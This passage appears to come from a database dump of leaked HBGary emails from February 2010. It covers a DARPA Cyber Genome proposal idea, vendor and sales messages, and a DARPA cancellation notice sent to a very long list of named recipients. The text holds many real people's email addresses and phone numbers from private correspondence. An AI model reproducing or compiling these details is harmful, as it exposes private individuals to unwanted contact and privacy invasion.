actions/treatment of the document.  As the document is transmitted there are new associations, forks, etc.\r\nThe more and more I read the BAA I am thinking this approach is a good possible answer.  I am sure there are others, but I am stuck in this rut now.Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',6984,'aaron_hbgary_com/6984.html'),(2248,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001021.M425394P3547Q2248.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Fwd: I need your thoughts.','I definately want to learn more about information geometry.From my iPhoneBegin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Rich Cummings &lt;rich@hbgary.com&gt;, Ted Vera &lt;ted@hbgary.com&gt;\r\nSubject: Re: I need your thoughts.Aaron,I threw these two diagrams together really fast, I was imagining the problem\r\ngeometrically - like a behavior or document or series of events could all berepresented by a shape of some kind, like a visual fingerprint.-Greg\r\nOn Mon, Feb 8, 2010 at 1:39 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:When looking at the DARPA BAA I have found a single path using our existing\r\ncapability that I think answers the mail, but I am in this rut and can&#39;t seeout of it, so was hoping to get your thoughts.\r\nNeed to classify all digital artifacts and determine good and badactions/behaviors, what to protect, etc.\r\nIts all math of course.  And as I have been thinking about our traits\r\ndatabase represented by hashes, it can fit almost anything.  We categorizethings in our brains and make those associations automatically.\r\nA word document was created on the corporate network by the CEO of thecompany.  The word document was about the possible acquisition of a small\r\ncompany.  Or the word document was about the firing of a negligent employee.\r\nThose sentences  could have a multitude of different traits associated withit, some of those traits would be derived by other associations.  The CEO\r\nhas certain traits, the network has certain traits.  What is in thedocument, HR, FInance, etc.  When the document was created, etc.  The more\r\nof those you can define the more granular you can base you futureactions/treatment of the document.  As the document is transmitted there are\r\nnew associations, forks, etc.The more and more I read the BAA I am thinking this approach is a good\r\npossible answer.  I am sure there are others, but I am stuck in this rutnow.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n',2769,'aaron_hbgary_com/2769.html'),(2249,'2010-02-08','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001022.M795756P3547Q2249.eml','aaron@hbgary.com','Re: Fwd: I need your thoughts.','\r\nStuck with only my bb.  Stupid ngc has not sent me my replacement fob.  Let me read this on my laptop tonight.  I\'ll forward it to my gmail.  Quick read is that IG could apply.\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Mon Feb 08 16:47:30 2010Subject: Fwd: I need your thoughts.\r\nI definately want to learn more about information geometry.From my iPhoneBegin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Rich Cummings &lt;rich@hbgary.com&gt;, Ted Vera &lt;ted@hbgary.com&gt;\r\nSubject: Re: I need your thoughts.Aaron,I threw these two diagrams together really fast, I was imagining the problem\r\ngeometrically - like a behavior or document or series of events could all berepresented by a shape of some kind, like a visual fingerprint.-Greg\r\nOn Mon, Feb 8, 2010 at 1:39 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:When looking at the DARPA BAA I have found a single path using our existing\r\ncapability that I think answers the mail, but I am in this rut and can&#39;t seeout of it, so was hoping to get your thoughts.\r\nNeed to classify all digital artifacts and determine good and badactions/behaviors, what to protect, etc.\r\nIts all math of course.  And as I have been thinking about our traits\r\ndatabase represented by hashes, it can fit almost anything.  We categorizethings in our brains and make those associations automatically.\r\nA word document was created on the corporate network by the CEO of thecompany.  The word document was about the possible acquisition of a small\r\ncompany.  Or the word document was about the firing of a negligent employee.\r\nThose sentences  could have a multitude of different traits associated withit, some of those traits would be derived by other associations.  The CEO\r\nhas certain traits, the network has certain traits.  What is in thedocument, HR, FInance, etc.  When the document was created, etc.  The more\r\nof those you can define the more granular you can base you futureactions/treatment of the document.  As the document is transmitted there are\r\nnew associations, forks, etc.The more and more I read the BAA I am thinking this approach is a good\r\npossible answer.  I am sure there are others, but I am stuck in this rutnow.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n',10901,'aaron_hbgary_com/10901.html'),(2250,'2010-02-08','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001026.M742775P3547Q2250.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','FW: PwC Cybercrime collateral','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom:\r\nshane.sims@us.pwc.com [mailto:shane.sims@us.pwc.com] \r\nSent: Friday, January 29, 2010 1:58 PM\r\nTo: penny@hbgary.com\r\nSubject: PwC Cybercrime collateral\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nPenny, \r\n\r\nIf you\'re\r\ninclined, you can learn more about our cybercrime practice at this site:\r\n&nbsp;www.pwc.com/us/cyber \r\n\r\nAlso, attached\r\nis our Cybercrime statement of qualifications which is also available at the\r\nabove site along with other collateral and a link to a media interview/podcast\r\nI did recently on the topic.\r\n\r\n\r\n\r\nRegards, Shane \r\n\r\n___________________________________________________________________________________________________________\r\nShane Sims, Director | Advisory - Forensic Services | PricewaterhouseCoopers\r\n| Mobile: 202 262 9735 | shane.sims@us.pwc.com\r\n\r\n\r\nInvestigations\r\n- Crisis Management - Risk Assessments:\r\nCybercrime &amp; Data Theft | Insider Threat | Fraud &amp; Abuse | Money\r\nLaundering | Advanced Due Diligence | FCPA \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe information transmitted is intended only for the person\r\nor entity to which it is addressed and may contain confidential and/or\r\nprivileged material. Any review, retransmission, dissemination or other use of,\r\nor taking of any action in reliance upon, this information by persons or\r\nentities other than the intended recipient is prohibited. If you received this\r\nin error, please contact the sender and delete the material from any computer.\r\nPricewaterhouseCoopers LLP is a Delaware limited liability partnership.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2953,'aaron_hbgary_com/2953.html'),(2251,'2010-02-08','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001026.M992755P3547Q2251.eml','all@hbgary.com','posted 2.0 release on fast horizon','http://fasthorizon.blogspot.com/2010/02/responder-20-released.html\r\n \r\nput some nice screeny&#39;s of some APT Rich sent me...\r\n \r\n-Greg\r\n',4970,'aaron_hbgary_com/4970.html'),(2252,'2010-02-09','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001027.M229010P3547Q2252.eml','\"Aaron Barr\" <aaron@hbgary.com>','Brian Masterson','Aaron,\r\n \r\nDoes Brian plan to buy Responder?  Does he need a price quote?-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',319,'aaron_hbgary_com/319.html'),(2253,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001027.M548388P3547Q2253.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Brian Masterson','Yes as part of our irad effort.  We should know when this will be kicked off this week.AaronFrom my iPhoneOn Feb 8, 2010, at 7:06 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\nAaron,\r\n \r\nDoes Brian plan to buy Responder?  Does he need a price quote?-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\n',9763,'aaron_hbgary_com/9763.html'),(2254,'2010-02-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001027.M772032P3547Q2254.eml','\"Barr Aaron\" <aaron@hbgary.com>','Ever hear from','Kathy???\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',10351,'aaron_hbgary_com/10351.html'),(2255,'2010-02-09','\"Moore, Renee (contr-sto)\" <Renee.Moore.ctr@darpa.mil>','/aaron@hbgary.com/new/1297001028.M146011P3547Q2255.eml','\"justin.hornberger@obsidiancyber.com\" <justin.hornberger@obsidiancyber.com>,\"vernon.joyner@qinetiq-na.com\" <vernon.joyner@qinetiq-na.com>,\"deborah.frincke@pnl.gov\" <deborah.frincke@pnl.gov>,\"jaime@semandex.net\" <jaime@semandex.net>,\"aaron@hbgary.com\" <aaron@hbgary.com>,\"bob@hbgary.com\" <bob@hbgary.com>,\"greg@hbgary.com\" <greg@hbgary.com>,\"rich@hbgary.com\" <rich@hbgary.com>,\"ted@hbgary.com\" <ted@hbgary.com>,\"daniel.blitz@honeywell.com\" <daniel.blitz@honeywell.com>,\"shawn_ricketts@appsig.com\" <shawn_ricketts@appsig.com>,\"mfisk@lanl.gov\" <mfisk@lanl.gov>,\"skdao@hrl.com\" <skdao@hrl.com>,\"gholland@hrl.com\" <gholland@hrl.com>,\"gemami@globalinfotek.com\" <gemami@globalinfotek.com>,\"nigam@globalinfotek.com\" <nigam@globalinfotek.com>,\"mbanderson@teledyne.com\" <mbanderson@teledyne.com>,\"westby@globalcyberrisk.com\" <westby@globalcyberrisk.com>,\"bob@stratton.net\" <bob@stratton.net>,\"waa@cs.umd.edu\" <waa@cs.umd.edu>,\"brian.masterson@ngc.com\" <brian.masterson@ngc.com>,\"michael.witten@gtri.gatech.edu\" <michael.witten@gtri.gatech.edu>,\"dbailey@blackbirdtech.com\" <dbailey@blackbirdtech.com>,\"aiodice@blackbirdtech.com\" <aiodice@blackbirdtech.com>,\"jlowry@bbn.com\" <jlowry@bbn.com>,\"bfanelli@allencorporation.com\" <bfanelli@allencorporation.com>,\"vikram@i-a-i.com\" <vikram@i-a-i.com>,\"drankin@kadix.com\" <drankin@kadix.com>,\"bob@semandex.net\" <bob@semandex.net>,\"dean_a_gossett@raytheon.com\" <dean_a_gossett@raytheon.com>,\"tmccabe@mccabe.com\" <tmccabe@mccabe.com>,\"demoney@sri.com\" <demoney@sri.com>,\"rob@netwitness.com\" <rob@netwitness.com>,\"jzhou@teledyne.com\" <jzhou@teledyne.com>,\"swarup@mitre.org\" <swarup@mitre.org>,\"brianneo@securedecisions.avi.com\" <brianneo@securedecisions.avi.com>,\"jnhq@yahoo.com\" <jnhq@yahoo.com>,\"valerie.guralnik@honeywell.com\" <valerie.guralnik@honeywell.com>,\"dean_a_gossett@raytheon.com\" <dean_a_gossett@raytheon.com>,Andy.Thompson@jhuapl.edu,\"mjunod@atl.lmco.com\" <mjunod@atl.lmco.com>,\"rishab.malhotra@saic.com\" <rishab.malhotra@saic.com>,\"bayj@ainfosec.com\" <bayj@ainfosec.com>,\"shamilton@distributedinfinity.com\" <shamilton@distributedinfinity.com>,\"aott@distributedinfinity.com\" <aott@distributedinfinity.com>,\"souvas@ainfosec.com\" <souvas@ainfosec.com>,\"Tom@tgoodwincom.com\" <Tom@tgoodwincom.com>,\"jgibbins@distributedinfinity.com\" <jgibbins@distributedinfinity.com>,\"jay.civitillO@sypris.com\" <jay.civitillO@sypris.com>,\"email@stefanoforesti.com\" <email@stefanoforesti.com>,\"matthew_elder@symantec.com\" <matthew_elder@symantec.com>,\"raj.rajagopalan@hp.com\" <raj.rajagopalan@hp.com>,\"troy.swinehart@sypris.com\" <troy.swinehart@sypris.com>,\"hal.aldridge@sypris.com\" <hal.aldridge@sypris.com>,\"gshannon@setcorp.com\" <gshannon@setcorp.com>,\"vijay@ciphersolutions.com\" <vijay@ciphersolutions.com>,\"george@roguegenius.com\" <george@roguegenius.com>,patrick.w.phillips@saic.com,\"richard.arnold@macb.com\" <richard.arnold@macb.com>,\"preston.werntz@dhs.gov\" <preston.werntz@dhs.gov>,\"dihrie@semandex.net\" <dihrie@semandex.net>,\"jason.upchurch@gd-ais.com\" <jason.upchurch@gd-ais.com>,\"danstevenson@rti.org\" <danstevenson@rti.org>,\"michael.harbison@gd-ais.com\" <michael.harbison@gd-ais.com>,\"harold.Rodriguez@gd-asi.com\" <harold.Rodriguez@gd-asi.com>,\"mccusker@sonalysts.com\" <mccusker@sonalysts.com>,\"scottso@sonalysts.com\" <scottso@sonalysts.com>,\"marc.zbinden@nisc-llc.com\" <marc.zbinden@nisc-llc.com>,\"patrick@tripledex.com\" <patrick@tripledex.com>,\"ebasu@sentekglobal.com\" <ebasu@sentekglobal.com>,\"kevin.morrison@parsons.com\" <kevin.morrison@parsons.com>,\"ltinnel@globalinfotek.com\" <ltinnel@globalinfotek.com>,\"rick.mcgeer@hp.com\" <rick.mcgeer@hp.com>,\"stephen.barish@macb.com\" <stephen.barish@macb.com>,\"patrick.crago@nisc-llc.com\" <patrick.crago@nisc-llc.com>,\"dxu@cs.purdue.edu\" <dxu@cs.purdue.edu>,\"dave_m_gursky@raytheon.com\" <dave_m_gursky@raytheon.com>,\"guttman@us.ibm.com\" <guttman@us.ibm.com>,\"toweissy@vt.edu\" <toweissy@vt.edu>,\"ccramer@siginnovations.com\" <ccramer@siginnovations.com>,\"lkennedy@siginnovations.com\" <lkennedy@siginnovations.com>,\"lbengfort@cengen.com\" <lbengfort@cengen.com>,\"lkain@cra.com\" <lkain@cra.com>,\"aghosh1@gmu.edu\" <aghosh1@gmu.edu>,\"joshua.davis@gtri.gatech.edu\" <joshua.davis@gtri.gatech.edu>,\"zmitchell@logostech.net\" <zmitchell@logostech.net>,\"j@appranger.com\" <j@appranger.com>,\"kane@referentia.com\" <kane@referentia.com>,\"jsmith@referentia.com\" <jsmith@referentia.com>,\"twilliams@referentia.com\" <twilliams@referentia.com>,\"dchang@referentia.com\" <dchang@referentia.com>,\"kphillips@overwatch.textron.com\" <kphillips@overwatch.textron.com>,\"sdynes@dartmouth.edu\" <sdynes@dartmouth.edu>,\"michael.collins@redjack.com\" <michael.collins@redjack.com>,\"greg.virgin@redjack.com\" <greg.virgin@redjack.com>,\"john.mchugh@redjack.com\" <john.mchugh@redjack.com>,\"jeff.janies@redjack.com\" <jeff.janies@redjack.com>,\"sang.chin@jhuapl.edu\" <sang.chin@jhuapl.edu>,\"paul.b.jaynes@raytheon.com\" <paul.b.jaynes@raytheon.com>,\"rlinge@sei.cmu.edu\" <rlinge@sei.cmu.edu>,\"soswald@sigovs.com\" <soswald@sigovs.com>,\"kppande@msn.com\" <kppande@msn.com>,\"steve@atc-nycorp.com\" <steve@atc-nycorp.com>,\"hinoue@atc-nycorp.com\" <hinoue@atc-nycorp.com>,\"jadavis4@rockwellcollins.com\" <jadavis4@rockwellcollins.com>,\"tburgess@securedsciences.com\" <tburgess@securedsciences.com>,\"jeehye@securedsciences.com\" <jeehye@securedsciences.com>,\"walczak@avi.com\" <walczak@avi.com>,\"caguerreri@gmail.com\" <caguerreri@gmail.com>,\"raj.kant@baesystems.com\" <raj.kant@baesystems.com>,\"rlevy@i-a-i.com\" <rlevy@i-a-i.com>,\"ONeillDon@aol.com\" <ONeillDon@aol.com>,\"Rod.Tjoelker@Boeing.com\" <Rod.Tjoelker@Boeing.com>,\"dmatsunaga@referentia.com\" <dmatsunaga@referentia.com>,\"gratson@research.ge.com\" <gratson@research.ge.com>,\"matarazzo1@llnl.gov\" <matarazzo1@llnl.gov>,\"christian.espinosa@eads-na-security.com\" <christian.espinosa@eads-na-security.com>,\"geaton@milcord.com\" <geaton@milcord.com>,\"tom@mccabetech.com\" <tom@mccabetech.com>,\"pc@mitre.org\" <pc@mitre.org>,\"michael.zeberlein@harris.com\" <michael.zeberlein@harris.com>,\"sbarnum@cigital.com\" <sbarnum@cigital.com>,\"evans@ge.com\" <evans@ge.com>,\"judith.c.spering@boeing.com\" <judith.c.spering@Boeing.com>,\"philippe.byrnes@ddefend.com\" <philippe.byrnes@ddefend.com>,\"adinaburg@sigovs.cm\" <adinaburg@sigovs.cm>,\"christopher.jones@harris.com\" <christopher.jones@harris.com>,\"kvanbure@harris.com\" <kvanbure@harris.com>,\"fpound@sigovs.com\" <fpound@sigovs.com>,\"roelker@gmail.com\" <roelker@gmail.com>,\"pwilson@securedsciences.com\" <pwilson@securedsciences.com>,\"adahnert@overwatch.textron.com\" <adahnert@overwatch.textron.com>,\"Brian.Masterson@ngc.com\" <Brian.Masterson@ngc.com>,\"irby@pikewerks.com\" <irby@pikewerks.com>,\"melski@grammatech.com\" <melski@grammatech.com>','OFFICIAL CANCELLATION:  CYBER GENOME PROPOSER\'S DAY','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nDue to inclement weather, the Cyber Genome Proposer&#8217;s\r\nDay scheduled for tomorrow, 09 Feb 2010, has been cancelled.&nbsp; We apologize\r\nfor this late notice, but the official government closure notice from the\r\nOffice of Personnel Management (OPM) was not released until 7:00pm EST today.&nbsp;\r\nThere is no further information at this time, but when something is available\r\nit will be posted via the Federal Business Opportunities (FedBizzOpps.Gov)\r\nwebsite.\r\n\r\n&nbsp;\r\n\r\nPlease confirm receipt of\r\nthis message by replying to this email.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThank you and we apologize for any inconvenience,\r\n\r\n&nbsp;\r\n\r\nRenee Moore\r\n\r\nSETA\r\n\r\nDARPA/STO\r\n\r\nrenee.moore.ctr@darpa.mil\r\n\r\n703-351-9284\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11037,'aaron_hbgary_com/11037.html'),(2256,'2010-02-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001028.M536659P3547Q2256.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Slapnik Bob\" <bob@hbgary.com>','Fwd: OFFICIAL CANCELLATION: CYBER GENOME PROPOSER\'S DAY','Begin forwarded message:From: &quot;Moore, Renee (contr-sto)&quot; &lt;Renee.Moore.ctr@darpa.mil&gt;\r\nDate: February 8, 2010 6:33:29 PM MSTTo: &quot;&#39;justin.hornberger@obsidiancyber.com&#39;&quot; &lt;justin.hornberger@obsidiancyber.com&gt;, &quot;&#39;vernon.joyner@qinetiq-na.com&#39;&quot; &lt;vernon.joyner@qinetiq-na.com&gt;, &quot;&#39;deborah.frincke@pnl.gov&#39;&quot; &lt;deborah.frincke@pnl.gov&gt;, &quot;&#39;jaime@semandex.net&#39;&quot; &lt;jaime@semandex.net&gt;, &quot;&#39;aaron@hbgary.com&#39;&quot; &lt;aaron@hbgary.com&gt;, &quot;&#39;bob@hbgary.com&#39;&quot; &lt;bob@hbgary.com&gt;, &quot;&#39;greg@hbgary.com&#39;&quot; &lt;greg@hbgary.com&gt;, &quot;&#39;rich@hbgary.com&#39;&quot; &lt;rich@hbgary.com&gt;, &quot;&#39;ted@hbgary.com&#39;&quot; &lt;ted@hbgary.com&gt;, &quot;&#39;daniel.blitz@honeywell.com&#39;&quot; &lt;daniel.blitz@honeywell.com&gt;, &quot;&#39;shawn_ricketts@appsig.com&#39;&quot; &lt;shawn_ricketts@appsig.com&gt;, &quot;&#39;mfisk@lanl.gov&#39;&quot; &lt;mfisk@lanl.gov&gt;, &quot;&#39;skdao@hrl.com&#39;&quot; &lt;skdao@hrl.com&gt;, &quot;&#39;gholland@hrl.com&#39;&quot; &lt;gholland@hrl.com&gt;, &quot;&#39;gemami@globalinfotek.com&#39;&quot; &lt;gemami@globalinfotek.com&gt;, &quot;&#39;nigam@globalinfotek.com&#39;&quot; &lt;nigam@globalinfotek.com&gt;, &quot;&#39;mbanderson@teledyne.com&#39;&quot; &lt;mbanderson@teledyne.com&gt;, &quot;&#39;westby@globalcyberrisk.com&#39;&quot; &lt;westby@globalcyberrisk.com&gt;, &quot;&#39;bob@stratton.net&#39;&quot; &lt;bob@stratton.net&gt;, &quot;&#39;waa@cs.umd.edu&#39;&quot; &lt;waa@cs.umd.edu&gt;, &quot;&#39;brian.masterson@ngc.com&#39;&quot; &lt;brian.masterson@ngc.com&gt;, &quot;&#39;michael.witten@gtri.gatech.edu&#39;&quot; &lt;michael.witten@gtri.gatech.edu&gt;, &quot;&#39;dbailey@blackbirdtech.com&#39;&quot; &lt;dbailey@blackbirdtech.com&gt;, &quot;&#39;aiodice@blackbirdtech.com&#39;&quot; &lt;aiodice@blackbirdtech.com&gt;, &quot;&#39;jlowry@bbn.com&#39;&quot; &lt;jlowry@bbn.com&gt;, &quot;&#39;bfanelli@allencorporation.com&#39;&quot; &lt;bfanelli@allencorporation.com&gt;, &quot;&#39;vikram@i-a-i.com&#39;&quot; &lt;vikram@i-a-i.com&gt;, &quot;&#39;drankin@kadix.com&#39;&quot; &lt;drankin@kadix.com&gt;, &quot;&#39;bob@semandex.net&#39;&quot; &lt;bob@semandex.net&gt;, &quot;&#39;dean_a_gossett@raytheon.com&#39;&quot; &lt;dean_a_gossett@raytheon.com&gt;, &quot;&#39;tmccabe@mccabe.com&#39;&quot; &lt;tmccabe@mccabe.com&gt;, &quot;&#39;demoney@sri.com&#39;&quot; &lt;demoney@sri.com&gt;, &quot;&#39;rob@netwitness.com&#39;&quot; &lt;rob@netwitness.com&gt;, &quot;&#39;jzhou@teledyne.com&#39;&quot; &lt;jzhou@teledyne.com&gt;, &quot;&#39;swarup@mitre.org&#39;&quot; &lt;swarup@mitre.org&gt;, &quot;&#39;brianneo@securedecisions.avi.com&#39;&quot; &lt;brianneo@securedecisions.avi.com&gt;, &quot;&#39;jnhq@yahoo.com&#39;&quot; &lt;jnhq@yahoo.com&gt;, &quot;&#39;valerie.guralnik@honeywell.com&#39;&quot; &lt;valerie.guralnik@honeywell.com&gt;, &quot;&#39;dean_a_gossett@raytheon.com&#39;&quot; &lt;dean_a_gossett@raytheon.com&gt;, &quot;Andy.Thompson@jhuapl.edu&quot; &lt;Andy.Thompson@jhuapl.edu&gt;, &quot;&#39;mjunod@atl.lmco.com&#39;&quot; &lt;mjunod@atl.lmco.com&gt;, &quot;&#39;rishab.malhotra@saic.com&#39;&quot; &lt;rishab.malhotra@saic.com&gt;, &quot;&#39;bayj@ainfosec.com&#39;&quot; &lt;bayj@ainfosec.com&gt;, &quot;&#39;shamilton@distributedinfinity.com&#39;&quot; &lt;shamilton@distributedinfinity.com&gt;, &quot;&#39;aott@distributedinfinity.com&#39;&quot; &lt;aott@distributedinfinity.com&gt;, &quot;&#39;souvas@ainfosec.com&#39;&quot; &lt;souvas@ainfosec.com&gt;, &quot;&#39;Tom@tgoodwincom.com&#39;&quot; &lt;Tom@tgoodwincom.com&gt;, &quot;&#39;jgibbins@distributedinfinity.com&#39;&quot; &lt;jgibbins@distributedinfinity.com&gt;, &quot;&#39;jay.civitillO@sypris.com&#39;&quot; &lt;jay.civitillO@sypris.com&gt;, &quot;&#39;email@stefanoforesti.com&#39;&quot; &lt;email@stefanoforesti.com&gt;, &quot;&#39;matthew_elder@symantec.com&#39;&quot; &lt;matthew_elder@symantec.com&gt;, &quot;&#39;raj.rajagopalan@hp.com&#39;&quot; &lt;raj.rajagopalan@hp.com&gt;, &quot;&#39;troy.swinehart@sypris.com&#39;&quot; &lt;troy.swinehart@sypris.com&gt;, &quot;&#39;hal.aldridge@sypris.com&#39;&quot; &lt;hal.aldridge@sypris.com&gt;, &quot;&#39;gshannon@setcorp.com&#39;&quot; &lt;gshannon@setcorp.com&gt;, &quot;&#39;vijay@ciphersolutions.com&#39;&quot; &lt;vijay@ciphersolutions.com&gt;, &quot;&#39;george@roguegenius.com&#39;&quot; &lt;george@roguegenius.com&gt;, &quot;patrick.w.phillips@saic.com&quot; &lt;patrick.w.phillips@saic.com&gt;, &quot;&#39;richard.arnold@macb.com&#39;&quot; &lt;richard.arnold@macb.com&gt;, &quot;&#39;preston.werntz@dhs.gov&#39;&quot; &lt;preston.werntz@dhs.gov&gt;, &quot;&#39;dihrie@semandex.net&#39;&quot; &lt;dihrie@semandex.net&gt;, &quot;&#39;jason.upchurch@gd-ais.com&#39;&quot; &lt;jason.upchurch@gd-ais.com&gt;, &quot;&#39;danstevenson@rti.org&#39;&quot; &lt;danstevenson@rti.org&gt;, &quot;&#39;michael.harbison@gd-ais.com&#39;&quot; &lt;michael.harbison@gd-ais.com&gt;, &quot;&#39;harold.Rodriguez@gd-asi.com&#39;&quot; &lt;harold.Rodriguez@gd-asi.com&gt;, &quot;&#39;mccusker@sonalysts.com&#39;&quot; &lt;mccusker@sonalysts.com&gt;, &quot;&#39;scottso@sonalysts.com&#39;&quot; &lt;scottso@sonalysts.com&gt;, &quot;&#39;marc.zbinden@nisc-llc.com&#39;&quot; &lt;marc.zbinden@nisc-llc.com&gt;, &quot;&#39;patrick@tripledex.com&#39;&quot; &lt;patrick@tripledex.com&gt;, &quot;&#39;ebasu@sentekglobal.com&#39;&quot; &lt;ebasu@sentekglobal.com&gt;, &quot;&#39;kevin.morrison@parsons.com&#39;&quot; &lt;kevin.morrison@parsons.com&gt;, &quot;&#39;ltinnel@globalinfotek.com&#39;&quot; &lt;ltinnel@globalinfotek.com&gt;, &quot;&#39;rick.mcgeer@hp.com&#39;&quot; &lt;rick.mcgeer@hp.com&gt;, &quot;&#39;stephen.barish@macb.com&#39;&quot; &lt;stephen.barish@macb.com&gt;, &quot;&#39;patrick.crago@nisc-llc.com&#39;&quot; &lt;patrick.crago@nisc-llc.com&gt;, &quot;&#39;dxu@cs.purdue.edu&#39;&quot; &lt;dxu@cs.purdue.edu&gt;, &quot;&#39;dave_m_gursky@raytheon.com&#39;&quot; &lt;dave_m_gursky@raytheon.com&gt;, &quot;&#39;guttman@us.ibm.com&#39;&quot; &lt;guttman@us.ibm.com&gt;, &quot;&#39;toweissy@vt.edu&#39;&quot; &lt;toweissy@vt.edu&gt;, &quot;&#39;ccramer@siginnovations.com&#39;&quot; &lt;ccramer@siginnovations.com&gt;, &quot;&#39;lkennedy@siginnovations.com&#39;&quot; &lt;lkennedy@siginnovations.com&gt;, &quot;&#39;lbengfort@cengen.com&#39;&quot; &lt;lbengfort@cengen.com&gt;, &quot;&#39;lkain@cra.com&#39;&quot; &lt;lkain@cra.com&gt;, &quot;&#39;aghosh1@gmu.edu&#39;&quot; &lt;aghosh1@gmu.edu&gt;, &quot;&#39;joshua.davis@gtri.gatech.edu&#39;&quot; &lt;joshua.davis@gtri.gatech.edu&gt;, &quot;&#39;zmitchell@logostech.net&#39;&quot; &lt;zmitchell@logostech.net&gt;, &quot;&#39;j@appranger.com&#39;&quot; &lt;j@appranger.com&gt;, &quot;&#39;kane@referentia.com&#39;&quot; &lt;kane@referentia.com&gt;, &quot;&#39;jsmith@referentia.com&#39;&quot; &lt;jsmith@referentia.com&gt;, &quot;&#39;twilliams@referentia.com&#39;&quot; &lt;twilliams@referentia.com&gt;, &quot;&#39;dchang@referentia.com&#39;&quot; &lt;dchang@referentia.com&gt;, &quot;&#39;kphillips@overwatch.textron.com&#39;&quot; &lt;kphillips@overwatch.textron.com&gt;, &quot;&#39;sdynes@dartmouth.edu&#39;&quot; &lt;sdynes@dartmouth.edu&gt;, &quot;&#39;michael.collins@redjack.com&#39;&quot; &lt;michael.collins@redjack.com&gt;, &quot;&#39;greg.virgin@redjack.com&#39;&quot; &lt;greg.virgin@redjack.com&gt;, &quot;&#39;john.mchugh@redjack.com&#39;&quot; &lt;john.mchugh@redjack.com&gt;, &quot;&#39;jeff.janies@redjack.com&#39;&quot; &lt;jeff.janies@redjack.com&gt;, &quot;&#39;sang.chin@jhuapl.edu&#39;&quot; &lt;sang.chin@jhuapl.edu&gt;, &quot;&#39;paul.b.jaynes@raytheon.com&#39;&quot; &lt;paul.b.jaynes@raytheon.com&gt;, &quot;&#39;rlinge@sei.cmu.edu&#39;&quot; &lt;rlinge@sei.cmu.edu&gt;, &quot;&#39;soswald@sigovs.com&#39;&quot; &lt;soswald@sigovs.com&gt;, &quot;&#39;kppande@msn.com&#39;&quot; &lt;kppande@msn.com&gt;, &quot;&#39;steve@atc-nycorp.com&#39;&quot; &lt;steve@atc-nycorp.com&gt;, &quot;&#39;hinoue@atc-nycorp.com&#39;&quot; &lt;hinoue@atc-nycorp.com&gt;, &quot;&#39;jadavis4@rockwellcollins.com&#39;&quot; &lt;jadavis4@rockwellcollins.com&gt;, &quot;&#39;tburgess@securedsciences.com&#39;&quot; &lt;tburgess@securedsciences.com&gt;, &quot;&#39;jeehye@securedsciences.com&#39;&quot; &lt;jeehye@securedsciences.com&gt;, &quot;&#39;walczak@avi.com&#39;&quot; &lt;walczak@avi.com&gt;, &quot;&#39;caguerreri@gmail.com&#39;&quot; &lt;caguerreri@gmail.com&gt;, &quot;&#39;raj.kant@baesystems.com&#39;&quot; &lt;raj.kant@baesystems.com&gt;, &quot;&#39;rlevy@i-a-i.com&#39;&quot; &lt;rlevy@i-a-i.com&gt;, &quot;&#39;ONeillDon@aol.com&#39;&quot; &lt;ONeillDon@aol.com&gt;, &quot;&#39;Rod.Tjoelker@Boeing.com&#39;&quot; &lt;Rod.Tjoelker@Boeing.com&gt;, &quot;&#39;dmatsunaga@referentia.com&#39;&quot; &lt;dmatsunaga@referentia.com&gt;, &quot;&#39;gratson@research.ge.com&#39;&quot; &lt;gratson@research.ge.com&gt;, &quot;&#39;matarazzo1@llnl.gov&#39;&quot; &lt;matarazzo1@llnl.gov&gt;, &quot;&#39;christian.espinosa@eads-na-security.com&#39;&quot; &lt;christian.espinosa@eads-na-security.com&gt;, &quot;&#39;geaton@milcord.com&#39;&quot; &lt;geaton@milcord.com&gt;, &quot;&#39;tom@mccabetech.com&#39;&quot; 